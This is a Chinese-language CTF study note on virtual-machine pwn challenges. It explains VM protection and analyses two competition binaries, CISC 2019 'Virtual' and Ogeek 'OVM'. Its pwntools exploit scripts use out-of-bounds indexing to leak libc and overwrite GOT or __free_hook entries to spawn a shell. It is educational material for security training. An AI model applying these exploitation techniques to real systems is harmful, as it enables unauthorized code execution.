VMpwn 学习笔记
字数 1735 2025-08-24 20:49:22
VMpwn 学习笔记:虚拟机保护与漏洞利用
1. 虚拟机保护基础概念
虚拟机保护是一种软件保护技术,通过模拟一个虚拟的CPU和指令集来执行代码,使得逆向分析变得困难。在二进制安全领域,理解虚拟机保护对于漏洞挖掘和利用至关重要。
1.1 虚拟机核心组件
- PC (Program Counter): 程序计数器,存放下一条要执行的指令的内存地址
- SP (Stack Pointer): 栈指针寄存器,始终指向当前栈顶
- BP (Base Pointer): 基址指针,用于函数调用时定位栈帧
- AX (General Register): 通用寄存器,用于存放指令执行结果
1.2 虚拟机指令集
虚拟机通常会定义一个枚举类型来表示支持的指令,例如:
- 数据传输指令: MOV, LOAD, SAVE
- 算术运算指令: ADD, SUB, MUL, DIV
- 栈操作指令: PUSH, POP
- 控制流指令: JMP, CALL, RET
2. 虚拟机Pwn题目分析
2.1 CISC 2019 华东南 Pwn Virtual
程序结构分析
-
初始化阶段:
malloc_all函数记录输入的不同段起始地址和参数个数store函数中的move函数将输入保存到对应chunk中
-
指令处理:
- 输入name和instruction
- instruction以
\n\r\t为分隔符被分割成多组指令 - 支持的指令: push, pop, add, sub, mul, div, load, save
-
关键函数:
ins_stack: 将输入的instruction转换为虚拟机指令码num_stack: 为栈上布置参数mov: 将指令或数据移动到指定位置
漏洞分析
程序未对数组下标进行边界检查,导致可以通过负数索引实现越界读写。
利用思路
- 利用越界读写泄露libc地址
- 修改GOT表中函数指针(如puts)为system或one_gadget
- 最终获取shell
利用代码示例
from pwn import *
context.log_level = 'debug'
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def d(s=''):
gdb.attach(p, s)
p.sendlineafter('name: \n', '/bin/sh')
ins = "push push save push load push add push save"
p.sendlineafter('instruction: \n', ins)
offset = -(libc.sym['puts'] - libc.sym['system'])
data_addr = 0x000000000404088
data = [data_addr, -3, -12, offset, -12]
payload = ""
for i in data:
payload += str(i) + " "
p.sendlineafter('data: \n', payload)
p.interactive()
2.2 Ogeek 线下Pwn
程序结构分析
-
初始化阶段:
- 初始化基础值和memory数组
running = 1进入主循环
-
指令执行流程:
fetch(): 从memory数组中获取指令execute(): 执行指令操作
-
指令格式:
- 4字节指令分为4部分: 操作指令 | 参数c | 参数b | 参数a
-
指令集:
- 0x10: reg[c] = memory
- 0x20: reg[c] = memory == 0
- 0x30: reg[c] = ::memory[reg[a]]
- 0x40: ::memory[reg[a]] = reg[c] (存在任意写)
- 0x50: stack[reg[13]++] = reg[c]
- 0x60: reg[c] = stack[--reg[13]] (存在任意读)
- 0x70-0xD0: 各种算术运算
- 0xE0/0xFF: 停止运行
漏洞分析
未验证数组偏移量,可通过构造负数的reg13实现任意读写。
利用思路
- 构造负SP实现任意读,泄露libc地址
- 修改comment[0]指针指向__free_hook-8
- 写入"/bin/sh\x00"+p64(system)
- 触发free(comment[0])执行system("/bin/sh")
利用代码示例
from pwn import *
context.log_level = 'debug'
exe = './ovm'
elf = ELF(exe)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def d(s=''):
gdb.attach(p, s)
def pwn():
read_offset = libc.sym['read']
system_offset = libc.sym['system']
__free_hook_offset = libc.sym['__free_hook']
offset_free_hook_2_read = __free_hook_offset - read_offset
offset_system_2_read = system_offset - read_offset
code = [
0x100d0001, # reg[13] = 1
0x10010008, # reg[0] = 8
0xc00d0d01, # reg[13] = 1<<8 => 0x100
0xc00d0d01, # reg[13] = 0x100<<8 => 0x10000
0x1001003e, # reg[1] = 0x3e
0x700d0d01, # reg[13] = reg[13] + reg[1] = 0x1003e
0x10010000, # reg[1] = 0
0x800D010D, # reg[13] = reg[1] - reg[13] = 0 - 0x1003e = 0xffc2 (=-0x3e)
0x60030000, # reg[3] = read_got_high_int
0x60040000, # reg[4] = read_got_low_int
0x10020008, # reg[2] = 8
# ... 其他指令 ...
0xff000000
]
p.sendlineafter("PCPC: ", '0')
p.sendlineafter("SP: ", '0')
p.sendlineafter("CODE SIZE: ", str(len(code)))
for i in code:
sleep(0.1)
p.sendline(str(i))
# 接收处理泄露的地址
p.recvuntil("R3: ")
free_hook = int(p.recv(4), 16) << 32
p.recvuntil("R4: ")
free_hook += int(p.recv(8), 16) + 8
libc_base = free_hook - __free_hook_offset
system = libc.sym['system'] + libc_base
p.sendlineafter("HOW DO YOU FEEL AT OVM?", '/bin/sh\x00' + p64(system))
p.interactive()
if __name__ == '__main__':
p = process(exe)
pwn()
3. 虚拟机Pwn通用技巧
-
识别虚拟机结构:
- 查找大量switch/case或分支结构
- 识别寄存器模拟和指令分发逻辑
-
常见漏洞点:
- 寄存器/内存访问无边界检查
- 指令解析逻辑缺陷
- 栈操作未验证SP范围
-
利用方法:
- 通过越界读写泄露关键地址
- 修改GOT表或hook函数指针
- 构造ROP链或直接执行shellcode
-
调试技巧:
- 在指令分发关键点下断点
- 监控寄存器状态变化
- 跟踪内存读写操作
4. 总结
虚拟机保护逆向分析需要深入理解虚拟架构的设计和实现,重点关注指令解析、寄存器管理和内存访问等关键组件。漏洞通常源于边界检查缺失或逻辑错误,利用时需要巧妙构造指令序列实现内存读写原语,最终通过修改控制流获取权限。